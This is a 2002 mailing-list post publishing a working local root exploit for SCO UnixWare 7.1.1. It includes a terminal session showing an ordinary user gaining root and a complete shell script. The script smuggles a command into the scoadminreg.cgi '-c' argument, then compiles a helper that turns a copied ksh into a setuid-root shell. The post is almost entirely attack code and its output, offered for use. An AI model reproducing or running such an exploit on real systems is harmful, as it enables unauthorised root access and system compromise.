OSEC

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From: jGgM. (jggmmail.com)
Date: Sun Jan 20 2002 - 17:30:16 CST

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    ('binary' encoding is not supported, stored as-is) unixware:~> uname -a
    UnixWare unixware 5 7.1.1 i386 x86at SCO
    UNIX_SVR5
    unixware:~> id
    uid=101(mearee) gid=1(other)
    unixware:~> ./scoadminreg.sh

    jGgM root exploit
    http://www.netemperor.com/

    Mail: jggmmail.com

    Manager: -c /tmp/jggm;/tmp/jggm;
    ERROR: Cannot find a Webtop object associated
    with -c /tmp/jggm
    ERROR: Could not add object ()
    RESULT: Error: Object ".../_ens/Org" already exists.
    Location: /webtop/webtops/en_US/admin/scoadminre
    gError.html

    Success...
    # id
    uid=101(mearee) gid=1(other) euid=0(root)
    #

    It can remote attack...maybe... :))

    -----------------------------------------------
    Korean Security Forum.
    http://www.forsecure.com
    http://www.netemperor.com
    -----------------------------------------------

    Here is file...

    --------------------------------------------------------------
    #!/bin/sh

    CC="gcc"
    SCOADMIN=/opt/webtop/bin/i3un0212/cgi-
    bin/admin/scoadminreg.cgi

    #
    #
    #
    #

    echo
    echo "jGgM root exploit"
    echo "http://www.netemperor.com/"
    echo
    echo "Mail: jggmmail.com"
    echo

    if [ ! -x $SCOADMIN ]; then
       echo "$SCOADMIN file not found"
       exit 2;
    fi

    cat >/tmp/jggm.c <<_EOF

    main()
    {
       setuid(0);
       setgid(0);
       chown("/tmp/jGgM_Shell", 0, 0);
       chmod("/tmp/jGgM_Shell", 04755);
    }
    _EOF

    cp /bin/ksh /tmp/jGgM_Shell
    $CC -o /tmp/jggm /tmp/jggm.c

    $SCOADMIN "-c /tmp/jggm;/tmp/jggm;"

    rm -rf /tmp/jggm /tmp/jggm.c

    /tmp/jGgM_Shell

    # end of file..
    -----------------------------------------------------------------